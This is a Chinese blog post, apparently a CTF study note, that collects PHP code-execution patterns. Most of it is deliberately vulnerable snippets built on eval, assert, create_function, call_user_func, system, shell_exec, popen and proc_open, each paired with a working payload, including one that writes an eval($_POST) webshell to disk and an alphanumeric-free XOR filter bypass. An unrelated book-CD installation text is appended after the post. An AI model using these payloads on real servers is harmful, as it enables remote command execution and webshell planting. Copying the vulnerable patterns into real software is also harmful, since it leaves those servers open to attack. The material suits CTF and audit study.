PHP代码执行集锦

前言

代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下

命令执行函数

E.g.1

 <?php 
 error_reporting(0); 
 show_source(__FILE__); 
 $a = "$_GET[c]"; 
 $b = "$_GET[d]"; 
 $array[0] =$b; 
 $c = array_map($a,$array); 
 ?> 
 

传入参数c和d,array_map函数作用将**作为函数,array**作为参数,构造paylaod

?c=assert&d=system(%27ls%27);

E.g.2

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = create_function('',$a);
$b();
?>

create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。

$b = create_function('',$a);

这里$a为函数,' '为参数

那么可以看作为

function lambda(){
 echo ' ' ;
}

传入payload

b= ;}phpinfo();/*

在function函数中即

function lambda(){
 echo ' ' ;}phpinfo();/*
}

后面的内容注释掉了,即执行命令

E.g.3

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[d]";
$b='print'.$a.';';
$f = create_function('$a',$b);
$f($a)

跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload:

d=1;}system(%27ls%27);/*

一致。

E.g.4

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
assert($a);
?>

没什么特别之处,assert直接作为函数执行,payload:

?b=system(%27ls;%27)

E.g.5

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = "$_GET[c]";
call_user_func($a,$b);
?>

call_user_func()函数的特点,知道后面的后面的为参数,前面的a为函数即可

payload:

?b=system&c=whoami

E.g.6

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = array($_GET['c']);
call_user_func_array($a,$b);
?>

payload:

?b=assert&c=system(%27whoami%27);

E.g.7

<?php
error_reporting(0);
show_source(__FILE__);
$_GET['a']($_GET['b']);
?>

传入参数a和b,一个作为函数执行,一个做位参数,构造payload:

?a=assert&b=system(%27ls%27)

E.g.8

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
eval($a);
?>

一句话木马有没有很熟悉,直接get方式传参给b即可,payload:

?b=system("ls");

E.g.9

<?php
show_source(__FILE__);
echo "<br>";
echo '请输入一个a的值';
echo "<br>";
error_reporting(0);
$price = $_GET['a'];
$code = 'echo $name. '.'的美元价格是' .$price.'; ';
$b = create_function('$name',$code);
$b('iphone');
?>

基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再**$code**的位置

payload:

?a=1;}system(%27ls%27);/*

E.g.10

<?php
show_source(__FILE__);
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$database = array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';
usort($database,create_function('$a,$b',$sort_function));
?>

属于加强版本,**$sort_function的内容进行闭合,也就是sort_by**的参数值要实现闭合,构造payload:

?sort_by=%27"]);}system(%27whoami%27);/*

E.g.11

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
$b = preg_replace("/abc/e",$a,'abcd');
var_dump($b);
?>

虽然加了正则,但是并没有什么卵用,假把式,payload:

?c=system(%27ls%27);

E.g.12

<?php
show_source(__FILE__);
$commandExecution = "echo ";
echo "<br>";
system($commandExecution.$_GET['a']);
echo "<br>";
?> 

payload

?a=<?php%20@eval($_POST[a]);%20?>%20>2.php

一句话木马写入2.php

也有其它解法直接进行命令执行。

E.g.13

<?php
error_reporting(0);
show_source(__FILE__); 
$a = "$_GET[c]";
echo "<br>";
exec($a,$b);
var_dump($b);
?

**exec()**函数直接执行命令,那么payload

?c=whoami

E.g.14

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo shell_exec($a);
?

函数的特性shell_exec

?c=ls>2.txt

然后执行

?c=cat 2.txt

此时

E.g.15

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo "<br>";
echo `$a`;
?>

看到echo以及传入的字符串,方法类似于上面的一道

?c=cat%20flag.php>3.txt

直接访问3.txt即可,或者

?c=cat%203.txt

E.g.16

<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
passthru($a);
?>

payload:

?c=cat%20flag.php

E.g.17

<?php
error_reporting(0);
show_source(__FILE__); 
$cmd=$_GET['c']; 
$fd = popen($cmd, 'r'); 
while($s=fgets($fd)){ 
print_r($s); 
} 
?>

payload

?c=cat%20flag.php

E.g.18

<?php
  error_reporting(0);
  show_source(__FILE__); 
  $command=$_GET['c'];
  $descriptorspec=array( 
    0=>array('pipe','r'), 
    1=>array('pipe','w'),
    2=>array('pipe','w') 
  );
  $handle=proc_open($command,$descriptorspec,$pipes,NULL);
  if(!is_resource($handle)){
    die('proc_open failed');
  }
  while($s=fgets($pipes[1])){
    print_r($s);
  }
  while($s=fgets($pipes[2])){
    print_r($s);
  }
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($handle);
?>

payload

?c=cat%20flag.php

E.g.19 无字母shell

<?php
include 'flag.php';
if(isset($_GET['code'])){
  $code = $_GET['code'];
  if(strlen($code)>40){ //检测字符长度
    die("Long.");
  }
  if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
    die("NO.");
  }
  @eval($code); //$code的值要为非字母和数字
}else{
  highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可

<?phpvar_dump('#'^'|'); var_dump('.'^'~');var_dump('/'^''); var_dump('|'^'/'); var_dump('{'^'/'); $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");//变量$_值为字符串'POST'?>

no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下

function getflag(){

xxxxxxxxxxxxxxxx

}

@eval($code);

函数的调用就是类似于上面的过程,那么eval在执行的过程中_GET[]且需要调用**getFlag()**方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容:​​​​​​​

?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag
或者
?code=$="`{{{"^"?<>/";${$}_;&_=getFlag

这里

//_GET 的变形无字母shell

$_="`{{{"^"?<>/";

小结

大佬请绕路,如有错误欢迎师傅们指出。

本实验主要介绍了Command-Injection实验,通过本实验的学习,你能够深入理解命令行注入工作原理,建立独立思考问题的能力。

https://www.hetianlab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1&pk_campaign=weixin-wemedia#stu

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
光盘使用说明 光盘内容框架 本书附带光盘内容包括本书源程序、部分模块视频教学录像、《编程词典》试用版,完整光盘内容框架如图1.1所示。 图1.1 光盘内容框架图 如何使用本书源程序 1、开发及运行环境 本书源程序都是在Windows Server 2003下开发的,程序测试环境为Windows Server 2003。用户只有在Windows Server 2003下正确配置程序所需的运行环境后,才可以使用本书中的源程序。软件开发平台如下: 操作系统:Windows Server 2003或Linux; Apache服务器:apache_2.2.8-win32-x86-no_ssl.msi; PHP软件:php-5.2.5-Win32.zip; MySQL图形化管理软件:phpMyAdmin-2.11.5.zip; 数 据 库:SQL Server 2000、MySQL(mysql-noinstall-5.1.11-beta-win32.zip); 浏 览 器:IE5.0及以上版本,推荐使用IE6.0; 分 辨 率:最佳效果1024×768像素; 2、源程序使用方法 (1)使用本书中源程序时,请将源程序文件夹下的所有文件拷贝到计算机硬盘上,并去掉所有文件的只读属性。 (2)在系统上安装PHP、MySQL、Apache、phpmyadmin或直接安装AppServ。 (3)数据库文件存储于源程序下的data文件夹中。 《编程词典》介绍及使用 本书另赠送“编程词典体验版”,可以帮助开发人员高效地在技术文档和源代码中搜索所需技术,同时配套提供了主要开发技术的视频教学录像和界面设计方案等,帮助程序开发人员设计程序。是程序开发人员的必备工具软件。 《编程词典》系列软件是由明日科技公司组织数十位资深编程技术人员,为广大程序设计人员开发的易查、易学、易用的高效编程工具软件。词典分为《PHP编程词典》、《Visual Basic编程词典》、《Delphi编程词典》、《Visual C++编程词典》、《ASP编程词典》、《C#编程词典》、《ASP.NET编程词典》、《SQL Server编程词典》和《JAVA编程词典》等九个系列。各词典中都包括以下内容。  详尽、完整的技术开发手册,内容超过8000页的专业技术文档。  我公司多年开发的近30个项目的专业开发文档及全部源程序。  数千个典型模块、实例和技巧的文档及源程序。赠送数年积累的开发锦囊和实用工具。  50个专业技术方案,透彻分析开发精髓。  30个小时的开发录像,12个小时开发技术录像和18个小时的项目开发全程录像。  数位专业美工多年设计的20套界面设计方案,100个开发素材。  详细的图书资源目录查询及我公司出版的专业图书的阅读与查询。  智能、人性化的技术查询定位。  附带SQL词典、工程词典、英语、UML等工具词典。  全面的个人资源管理。 其中,《PHP编程词典》体验版,是随本书图书光盘赠送的一款含有技术中心、查询中心两大版块功能的体验版系列软件,可以快速查询PHP的一些技术。 使用编程词典前应首先将其安装到硬盘上,打开光盘(直接通过光盘打开或者通过全程视频教学程序中的“编程词典软件”按钮调用打开),具体安装步骤如下。 (1)双击“编程词典体验版.exe”文件,进入安装页面,如图1.3所示。 图1.3 安装页面 (2)单击“下一步”按钮,选择“我同意该许可协议的条款”单选按钮,如图1.4所示的页面。 图1.4 许可协议页面 (3)单击“下一步”按钮,进入用户信息页面,输入公司名称,如图1.5所示。 图1.5 用户信息页面 (4)单击“下一步”按钮,进入选择安装路径页面,如图1.6所示。 图1.6 选择安装路径页面 (5)单击“下一步”按钮,进入创建快捷方式页面,如图1.7所示。 图1.7 创建快捷方式页面 (6)单击“下一步”按钮,进入准备安装页面,如图1.8所示。 图1.8 准备安装页面 (7)单击“下一步”按钮,开始安装。安装完成后,弹出如图1.9所示的安装成功页面,单击“完成”按钮,完成安装操作。 图1.9 安装成功页面
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值